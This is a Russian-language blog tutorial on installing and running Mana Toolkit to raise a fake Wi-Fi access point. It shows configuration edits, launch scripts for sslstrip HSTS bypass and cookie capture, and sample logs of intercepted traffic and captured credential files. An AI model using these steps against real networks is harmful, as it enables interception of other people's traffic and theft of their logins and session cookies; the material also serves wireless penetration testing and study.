Что умеет делать
- усовершенствованную, снова работающую KARMA-attack
- rogue AP — фейковую точку доступа
- различные MitM-атаки
- обход HSTS
- захват cookies
- перехват EAP
Установка Mana Toolkit
Есть несколько способов установки mana toolkit.
Самый простой из репозитория kali — deb http://http.kali.org/kali kali main non-free contrib
,
стандартно: apt-get install mana-toolkit
Или скачать zip из github, распаковать и запустить скрипт установки kali-install.sh
или ubuntu-install.sh
. После запуска скрипт выдаст предложение не делать этого:
[+] This is not a very good installer, it makes a lot of assumptions [+] It assumes you are running Kali [+] If you are worried about that, hit Ctl-C now, or hit Enter to continue
если нас это «беспокоит» :), то жмем ctrl+c и выбираем другой способ, например, клонировать git и скомпилировать. При этом может потребоваться поставить дополнительные библиотеки. Мне на kali 2.0 потребовалось установить:
apt-get install libcurl4-openssl-dev apt-get install libssl-dev apt-get install libnl-3-dev apt-get install libnl-genl-3-dev
Для сборки и установки делаем следующее:
git clone --depth 1 https://github.com/sensepost/mana cd mana git submodule init git submodule update make make install
В случае возникновения ошибок компиляции, установите библиотеки из списка выше. Вообще зависимости можно посмотреть в файле kali-install.sh
[ad name=»Responbl»]
Как устроена Mana Toolkit
Mana-toolkit установится в
/usr/share/mana-toolkit
— это основная директория установки.
/usr/share/mana-toolkit/run-mana
— директория содержит скрипты запуска
/etc/mana-toolkit/
— конфигурационные файлы
/var/lib/mana-toolkit
— логи
Инструмент состоит из нескольких компонентов, реализующих различные возможности mana:
firelamb
— переделанный на python firesheep для захвата cookies
sslstrip-hsts
— модуль для обхода HSTS
crackapd
— скрипт для работы с EAP
Для работы mana необходима карта wifi, поддерживающая режим "access point"/"master"
. Проверить свою карту можно с помощью команды iw list
, в stdout должно быть AP
Что-то вроде:
Supported interface modes: * IBSS * managed * AP * AP/VLAN * monitor * mesh point
Для запуска и управления mana в /usr/share/mana-toolkit/run-mana
содержится несколько стандартных скриптов, которые можно использовать как есть либо создавать свои на их основе.
[ad name=»Responbl»]
Основные скрипты:
start-nat-full.sh
— поднимает фейковую AP с NAT со всеми, как выразились разработчики — «MITM свистелками и перделками».
start-nat-simple.sh
— поднимает только фейковую AP c NAT
start-noupstream.sh
— AP без выхода в интернет. Можно использовать для перенаправления трафика на внешний инструмент (metasploit?)
start-noupstream-eap.sh
— AP без выхода в интернет для атаки на EAP.
есть еще несколько, но, например, mana-menu.sh
у меня не запустился из-за синтаксической ошибки.
Настройка производится путем редактирования скриптов запуска и конфигурационных файлов из /etc/mana-toolkit/
Например, чтобы поменять название создаваемой AP для start-nat-full.sh
, нужно в файле hostapd-karma.conf
задать параметр ssid
:
interface=wlan0 bssid=00:11:22:33:44:00 driver=nl80211 ssid=Internet channel=6 ...
но чтобы поменять интерфейс нужно менять его и в start-nat-full.sh
(параметр phy
), и в hostapd-karma.conf
(параметр interface
):
interface=wlan0 bssid=00:11:22:33:44:00 driver=nl80211 ssid=Internet channel=6 ...
upstream=eth0 phy=wlan0 conf=/etc/mana-toolkit/hostapd-karma.conf hostapd=/usr/lib/mana-toolkit/hostapd ...
Не самый удобный способ настройки.
[ad name=»Responbl»]
Пример использования Mana Toolkit
Для примера работы создадим AP за NAT и поснифаем трафик.
Для начала отключим KARMA-attack в файле hostapd-karma.conf
чтобы mana не создавала фейки на все, что услышит:
... # Enable karma mode #enable_karma=1 enable_karma=0 ...
установим параметр enable_karma
равным 0
Там же укажем какие интерфейсы для чего использовать. (Я использовал wlan0
для rouge AP и wlan1
для выхода в интернет)
С этим, кстати, не все так пушисто, как хотелось бы.
Cкрипт запуска останавливает службу NetworkManager
. Как это обойти описано тут. Добавим mac нашей карты AP в исключения NetworkManager
. Так же закомментим (#) строку service network-manager stop
:
... sleep 2 #service network-manager stop rfkill unblock wlan ...
Это нужно для того, что бы корректно и автоматически сделался NAT.
Далее укажем в start-nat-full.sh
какие интерфейсы будем использовать:
#!/bin/bash upstream=wlan1 phy=wlan0 ...
И запускаем скрипт start-nat-full.sh
Инициализация:
root@kali:/usr/share/mana-toolkit/run-mana# ./start-nat-full.sh hostname WRT54G Current MAC: 00:11:22:33:44:00 (CIMSYS Inc) Permanent MAC: xx:xx:xx:xx:xx:xx (TP-LINK TECHNOLOGIES CO.,LTD.) ....... ....... MANA (FireLamb) : [+] Listening for cookie traffic on interface wlan0 sslstrip 0.9 + by Moxie Marlinspike running... + POC by Leonardo Nve
Теперь у нас есть новая AP, как у всех, но с сюрпризом 🙂
выше в конфиге hostapd-karma.conf
видно, как называется AP.
Все, теперь можем подключиться к нашей AP и посмотреть на результат:
wlan0: STA xx:xx:xx:xx:xx:xx IEEE 802.11: authenticated wlan0: STA xx:xx:xx:xx:xx:xx IEEE 802.11: associated (aid 1) wlan0: AP-STA-CONNECTED xx:xx:xx:xx:xx:xx
Все что захватывает mana она кладет в директорию /var/lib/mana-toolkit
:
root@WRT54G:/var/lib/mana-toolkit# ls -l total 548 drwxr-xr-x 3 root root 4096 Nov 5 22:58 lamb_braai ... -rw-r--r-- 1 root root 1427 Nov 5 22:59 net-creds.log.1446753361 -rw-r--r-- 1 root root 3968 Nov 5 23:42 net-creds.log.1446755891 drwxr-xr-x 2 root root 20480 Nov 5 23:42 sslsplit ... -rw-r----- 1 root root 0 Nov 5 22:56 sslsplit-connect.log.1446753361 -rw-r----- 1 root root 0 Nov 5 23:38 sslsplit-connect.log.1446755891 ... -rw-r--r-- 1 root root 146870 Nov 5 22:58 sslstrip.log.1446753361 -rw-r--r-- 1 root root 251261 Nov 5 23:42 sslstrip.log.1446755891
Для эксперимента зайдем на всем известный сайт — bash.im
и вот что мы получим в stdout и логах:
2015-11-05 23:42:11,224 Sending Request: GET / 2015-11-05 23:42:11,224 Sending header: content-length : 0 2015-11-05 23:42:11,224 Sending header: accept-language : ru-RU,ru;q=0.8,en-US;q=0.6,en;q=0.4 2015-11-05 23:42:11,225 Sending header: host : bash.im 2015-11-05 23:42:11,225 Sending header: accept : text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8 2015-11-05 23:42:11,225 Sending header: user-agent : Mozilla/5.0 (Linux; Android 4.4.2; ASUS_T00J Build/KVT49L) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/46.0.2490.76 Mobile Safari/537.36 2015-11-05 23:42:11,225 Sending header: connection : keep-alive ... 2015-11-05 23:42:11,226 Sending header: upgrade-insecure-requests : 1
Само собой это только малое из того, что умеет делать mana-toolkit.